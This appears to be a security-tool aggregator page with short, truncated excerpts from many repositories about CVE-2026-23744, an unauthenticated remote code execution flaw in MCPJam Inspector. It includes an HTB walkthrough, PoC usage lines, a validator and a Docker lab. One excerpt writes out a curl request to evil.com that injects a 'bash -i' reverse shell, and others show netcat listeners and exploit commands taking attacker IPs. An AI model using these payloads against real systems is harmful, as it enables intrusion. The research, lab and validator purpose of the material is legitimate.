CVE-2026-23744-PoC

説明 MCPJam inspectorは、MCPサーバー向けのローカルファーストの開発プラットフォームです。バージョン1.4.2以前には、リモートコード実行（RCE）の脆弱性が存在し、攻撃者が細工したHTTPリクエストを送信することでMCPサーバーのインストールがトリガーされ、RCEに至る可能性があります。MCPJam inspectorはデフォルトで127.0.0.1ではなく0.0.0.0でリッスンするため、攻撃者は単純なHTTPリクエストによってリモートからRCEを引き起こすことができます。バージョン1.4.3でパッチが適用されました。 影響を受けるバージョン 脆弱性のソース|...

DevHub-HTB-Walkthrough

DevHub – HTB ウォークスルー Medium Linux マシン: DevHub 難易度: Medium OS: Linux トピック: CVE-2026-23744, Chisel トンネリング, Jupyter, Flask API, Root 権限昇格 📌 1. 偵察 root@kitploit: nmap -sC -sV devhub.htb 結果: root@kitploit: Port 22 SSH Port 80 HTTP Port 6274 MCPJam Inspector 📌 2. hosts ファイルの編集 echo "10.x.x.x devhub.htb...

CVE-2026-23744

CVE-2026-23744: @mcpjam/inspector における認証なしリモートコード実行 免責事項: このリポジトリおよび関連スクリプトは、許可されたセキュリティ評価、ペネトレーションテスト、セキュリティ研究、および教育目的の分析のみを目的としています。明示的な書面による同意なしにシステムを不正にテストすることは違法であり、固く禁止されています。著者は、本資料の誤解または誤用に対して一切の責任を負いません。 脆弱性の概要 プロパティ| 詳細 ---|--- CVE ID| CVE-2026-23744 CVSS スコア| 9.8 Critical 脆弱性クラス|...

CVE-2026-23744-PoC

CVE-2026-23744-PoC MCP Server の脆弱性に関する PoC。 適切な本文を持つ投稿部分を自動化しました。 脆弱なパス: root@kitploit: /api/mcp/connect curl による方法: root@kitploit: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data '"serverConfig":"command":"bash","args":"-c","bash -i &...

CVE-2026-23744

CVE-2026-23744 描述 MCPJam inspector 是一个面向 MCP 服务器的本地优先开发平台。版本 =1.4.2 存在远程代码执行漏洞，攻击者可发送特制的 HTTP 请求触发 MCP 服务器的安装，从而导致 RCE。有关漏洞详情，请参阅参考资料。 用法 需求 root@kitploit: $ pip install requests 概念验证用法 root@kitploit: $ python3 exploit.py -h --lhost LHOST --lport LPORT --rhost RHOST --rport RPORT 选项 root@kitploit...

CVE-2026-23744

CVE-2026-23744 CVE-2026-23744 RCE この脆弱性を分析している際、MCPJam Inspectorが0.0.0.0にバインドすることで/api/mcp/connectエンドポイントをネットワークに公開していることを発見しました。このエンドポイントは、serverConfigを含むJSONオブジェクトを受け入れ、その中にはcommandフィールドとargsフィールドが含まれています。...

mcpExec

mcpExec は、脆弱な MCPJam Inspector インストールの URL を用いて CVE-2026-23744 を悪用し、リバースシェルを取得するツールです。 インストール root@kitploit: git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich pip install argparse pip install requests chmod +x mcpExec.p...

MCPJam Inspector - Remote Code Execution

MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...

CVE-2026-23744-MCPJam-Exploit

CVE-2026-23744 MCPJam Inspector RCE エクスプロイト ⚠️ 免責事項 このツールは、許可されたセキュリティテストおよび教育目的のみに使用してください。不正使用は違法です。利用者はすべての行動に対する責任を負います。 📋 概要 このリポジトリには、CVE-2026-23744 の概念実証エクスプロイトが含まれています。これは、MCPJam Inspector バージョン =1.4.2 で見つかった認証不要のリモートコード実行 RCE 脆弱性です。この脆弱性の CVSS スコアは 9.8 Critical...

mcpjam-cve-2026-23744-validator

MCPJam Inspector 認可済みセキュリティバリデータ 脆弱なMCPJam Inspectorデプロイメントに影響するCVE-2026-23744 のための制限された概念実証バリデータです。 このプロジェクトは、以前に開示されたCVE-2026-23744のための独立した非破壊的な検証ツールです。元の脆弱性開示やエクスプロイトではありません。 このリポジトリは、自身が所有する、または明示的な書面による評価権限を持つシステムを検証するセキュリティ専門家を対象としています。 重要な注意事項 このバリデータは、対象のMCPJam...

CVE-2026-23744

CVE-2026-23744 MCPJam inspector リモートコード実行: Proof Of Concept POC の使用方法: root@kitploit: python3 cve-2026-23744.py --target https:// --att-ip --att-p...

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2 MCPJam Inspector 3.エクスプロイトを実行します root@kitploit: python3 CVE-2026-23744.py -u -i -p 4.より快適に使用するには、ターミナルをフル機能のものにアップグレードすることをお勧めします。そうしないと、ctrl^c のようなコマンドを使用できません。 例 このエクスプロイトは管理された環境でのみ使用してください ⚠️自己責任で使用してください⚠️...

CVE-2026-23744-RCE

MCPJam Inspector v1.4.2 - RCEエクスプロイト 脆弱性の説明 MCPJam Inspectorには、/api/mcp/connect エンドポイントに認証不要のリモートコード実行（RCE）脆弱性があります。この脆弱性により、攻撃者は悪意のあるMCPサーバー設定ペイロードを送信することで任意のコマンドを実行できます。 このエンドポイントは、serverConfig オブジェクトを含むJSONペイロードを受け入れ、そのオブジェクトには command と args 配列が含まれており、適切な検証やサニタイズなしでシステム上で直接実行されます。 影響を受けるバージョン...

mcpjam-to-root

⚠️ 免責事項 このリポジトリは、許可されたセキュリティ研究、ペネトレーションテスト、教育目的のみ を意図しています。 明示的な許可なく、ここで説明する手法をシステムに対して使用しないでください。 ⚡ MCPJam → Root MCPJam Inspector RCEからrootまで — CVE-2026-23744、JupyterLabトークン開示、カーネル実行、そしてOPSMCP権限昇格。 --- 📖 概要 このリポジトリは、公開されたMCPJam Inspector インスタンスからrootレベルのアクセス に至る、完全なLinux攻撃チェーンを文書化したものです。...

CVE-2026-23744-POC

CVE-2026-23744 — MCPJam Inspector 未認証RCE MCPJam Inspector -i -p -m リバースシェルの例 ステップ1 — リスナーを起動: root@kitploit: nc -lvnp 4444 ステップ2 — エクスプロイトを実行: root@kitploit: bash python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash ペイロードメソッド ターゲット上で busybox が動作しない場合は、他のメソッドを試してください:...

CVE-2025-49596-PoC

CVE-2026-23744-PoC CVE-2026-23744（1.4.2 より前の MCPJam inspector における RCE）の Linux ターゲット向け自動 PoC 使い方 root@kitploit: use netcat to run listener on any port like 9002. nc -nvlp 9002 use the automation like this python3 CVE-2025-49596.py https://mcpjam-server.com...

CVE-2026-23744-PoC

CVE-2026-23744-PoC 免責事項: この概念実証コードは、許可を得たセキュリティ研究、教育目的、および管理されたラボ環境（例: HTB、CTF、明示的な書面による同意を得た社内ペネトレーションテスト）専用 に提供されています。許可なくいかなるシステムに対しても使用することは違法かつ非倫理的です。作者は悪用によって生じるいかなる責任も負いません。利用者は、適用されるすべての法律および規制を遵守する単独の責任を負います。 説明 CVE-2026-23744 は、MCPJam Inspector（バージョン ≤ 1.4.2）における認証不要のコマンドインジェクションの脆弱性です。...

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

Kali Linux上 - ターミナル1 nc -lvnp 4444 Kali Linux上 - ターミナル2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

CVE-2026-23744-Remote-Code-Execution-POC

CVE-2026-23744 - MCPJam inspector リモートコード実行: 概念実証 POC MCPJam inspector 3. エクスプロイトを実行します root@kitploit: python3 exploit.py...

CVE-2026-23744-Lab

CVE-2026-23744 – MCPJam Inspector Docker Lab このリポジトリは、CVE-2026-23744 に対する MCPJam Inspector の脆弱なビルドとパッチ適用済みビルドを比較 するための小さな Docker ラボです。 学習目的と公開セキュリティポートフォリオの構築を目的としています。セットアップが簡単で、明確な証拠とスクリーンショットを提供します。 ⚠️ 倫理 / 適用範囲 : 所有しているシステム、または明示的なテスト許可があるシステムでのみテストしてください。このリポジトリはローカルでの再現と文書化を目的としています。...